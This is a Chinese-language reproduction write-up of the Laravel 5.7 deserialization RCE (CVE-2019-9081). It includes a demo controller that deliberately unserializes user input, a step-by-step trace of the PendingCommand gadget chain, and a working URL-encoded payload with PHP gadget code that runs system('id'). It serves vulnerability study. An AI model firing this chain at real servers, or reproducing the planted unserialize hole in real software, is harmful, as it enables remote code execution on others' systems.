CVE-2019-9081 Laravelv 5.7 反序列化rce¶
一、漏洞简介¶
Laravel Framework 5.7.x版本中的Illuminate组件存在安全漏洞。远程攻击者可利用该漏洞执行代码。
二、漏洞影响¶
Laravelv 5.7
三、复现过程¶
漏洞分析
漏洞demo
由于我没有找到laravel框架触发反序列化的点,因此我们需要自己构造一个漏洞demo,用作poc的验证。
在routes/web.php文件中添加这样一条路由记录:Route::get('/index', 'TaskController@index');
接下来在app/Http/Controllers文件夹下创建文件TaskController.php,源码如下:
<?php
namespace App\Http\Controllers;
class TaskController
{
public function index(){
unserialize($_GET['p']);
return "22222";
}
}
?>
首先我们来对比一下laravel v5.6和laravel v5.7下vendor/laravel/framework/src/Illuminate/Foundation/Testing文件夹中的区别:
可以看到在v5.7版本中多了一个PendingCommand.php文件。我们再来看看官方文档对于这个文件的解释。
其主要功能是用作命令执行,并且获取输出内容。
阅读代码我们可以看到PendingCommand.php文件定义了PendingCommand类,该类存在__destruct方法,忘了哪位大牛说过,__destruct永远是反序列化漏洞的最佳攻击点。而在PendingCommand类的__destruct方法中调用了该类的run方法。在run方法的头顶,赫然写着Execute the command.。攻击思路很明显了,通过反序列化触发PendingCommand类的__destruct析构函数,进而调用其run方法实现代码执行。接下来就要开始构造pop链。
在构造payload之前,我先简单的介绍一下PendingCommand类中的几个重要属性:
$this->app; //一个实例化的类 Illuminate\Foundation\Application
$this->test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->command; //要执行的php函数 system
$this->parameters; //要执行的php函数的参数 array('id')
我们传入payload看看具体流程走向。
将我们构造好的序列化数据通过参数p传入,查看调用栈可以看到,在进行反序列化时,成功进入PendingCommand类的析构函数。并且这里的$this->hasExecuted
默认定义就是false。导致我们很顺利进入$this->run()
方法。run方法的代码如下:
我们首先需要进入$this->mockConsoleOutput()
方法。这个方法的也是困扰了我很久,差一点没能绕过这个方法。最后是在吃完晚饭之后,灵光一现突然想到bypass的方法。我们跟进看看代码逻辑。
在$this->mockConsoleOutput()
使用Mockery::mock实现对象模拟,具体如何实现我们不去关心,目前的首要任务是顺利走通这段代码。我们将关注点放在$this->createABufferedOutputMock()
,继续跟进$this->createABufferedOutputMock()
函数。
这里又进行一次对象模拟,但是着不重要,我们重点看我打上箭头的地方。要求获取$this->test
这个类中的expectedOutput属性,并且遍历该属性。按道理来说$this->test
这个类应该存在expectedOutput属性,我们才能顺利地执行下文代码。很不幸,在我们可以实例化的类中,没有一个类存在expectedOutput属性。只有一些测试类才有这个属性。这也是困扰我很久的地方。
但我们仔细看看这段代码会发现,我们需要的只是一个返回内容而已,只需要有返回内容,使得代码进入循环流程我们便能走通这段代码。因此我们可以利用__get魔术方法来返回我们需要的内容。我这里选取的是Illuminate\Auth\GenericUser类。其__get魔术方法的逻辑如下:
而$this->attributes
通过反序列化是可控的,因此我们可以构造$this->attributes
键名为expectedOutput的数组。这样一来$this->test->expectedOutput
就会返回$this->attributes
中键名为expectedOutput的数组。$this->createABufferedOutputMock()
的代码也就顺利走通了。
接下来回到$this->mockConsoleOutput()
方法,可以看到这里有一段和$this->createABufferedOutputMock()
中相似的代码,我们的目的只是走通这段代码,进入下面的流程,因此不需要关心他具体的实现,只要能顺利执行,不报错,不产生异常就行。使用和$this->createABufferedOutputMock()
同样的绕过办法,在$this->attributes
中定义键名为expectedQuestions的数组即可。
之后,我们继续运行就能走出$this->mockConsoleOutput()
方法。接下来,就是最关键的产生漏洞的代码点。
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
。
这行代码相当令人费解,我为了更加直观的表述,新增两个变量。
$aaa=Kernel::class;
$fff=$this->app[Kernel::class];
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
Kernel::class在这里是一个固定值Illuminate\Contracts\Console\Kernel,我们不去管他。重点是$this->app[Kernel::class]
这句代码。跟踪这句代码,我们会得到以下调用栈:
通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\Contracts\Console\Kernel这个类,但是在getConcrete这个方法中出了问题,导致可以利用php的反射机制实例化任意类。问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php的704行,可以看到这里判断$this->bindings[$abstract])
是否存在,若存在则返回$this->bindings[$abstract]['concrete']
。
$bindings
是vendor/laravel/framework/src/Illuminate/Container/Container.php文件中Container类中的属性。因此我们只要寻找一个继承自Container的类,即可通过反序列化控制 $this->bindings
属性。而Illuminate\Foundation\Application恰好继承自Container类,这就是我选择Illuminate\Foundation\Application对象放入$this->app
的原因。由于我们已知$abstract
变量为Illuminate\Contracts\Console\Kernel,所以我们只需通过反序列化定义Illuminate\Foundation\Application的$bindings属性存在键名为Illuminate\Contracts\Console\Kernel的二维数组就能进入该分支语句,返回我们要实例化的类名。在这里返回的是Illuminate\Foundation\Application类。
之后便步出$this->getConcrete
方法。使用$this->isBuildable
方法,判断是否可进行实例化。
具体判断逻辑如下:
很明显我们现在不满足条件,因此进入$this->make
方法,同样的流程再循环一遍。第二遍循环时,在$this->getConcrete
环节还是获取我们定义的Illuminate\Foundation\Application,这样一来使得$this->isBuildable
中的$concrete === $abstract
条件成立。因此我们进入$this->build
方法。
在$this->build
方法中,就能看到使用ReflectionClass反射机制,实例化我们传入的类。
成功实例化类,最后逐层返回我们创建的对象。最后我们可以知道通过我们传入的payload,$this->app[Kernel::class]
最终返回的内容就是我们创建的Illuminate\Foundation\Application类的对象。
继续往下跟踪,已经接近胜利了。在返回一个对象之后,又调用了call方法。实际上Illuminate\Foundation\Application类没有call方法,但是它的父类Illuminate\Container\Container是有call方法的。因此,在这里会直接跳转到Illuminate\Container\Container类中的call方法。
跟进BoundMethod对象的call方法。
不满足第一个分支语句,直接进入第二行。前面的static::callBoundMethod只是判断我们的$callback是否为数组。这个不重要,我们关注后面的匿名函数。这个匿名函数直接调用call_user_func_array,并且第一个参数我们可控,参数值为system,第二个参数由static::getMethodDependencies方法返回。跟进static::getMethodDependencies方法看看。
static::getCallReflector($callback
)这句用于利用反射获取$callback
的对象,继续往下执行static::addDependencyForCallParameter
,会对$callback的对象添加一些参数,但是这些不重要。最后一行才是关键。
最后将我们传入的$parameters
参数数组和$dependencies
数组合并,$dependencies
数组为空。
最后在BoundMethod对象的call方法中我们相当于执行了以下代码:
call_user_func_array('system',array('id'))
此时run函数中$exitcode
值即为命令的执行结果
payload:
http://url/laravel-5.7/public/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
POC
<?php
//gadgets.php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
?>
<?php
//chain.php
include("gadgets.php");
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('id'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
?>
运行chain.php文件即可得到payload,将payload传入p参数即可。
参考链接
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/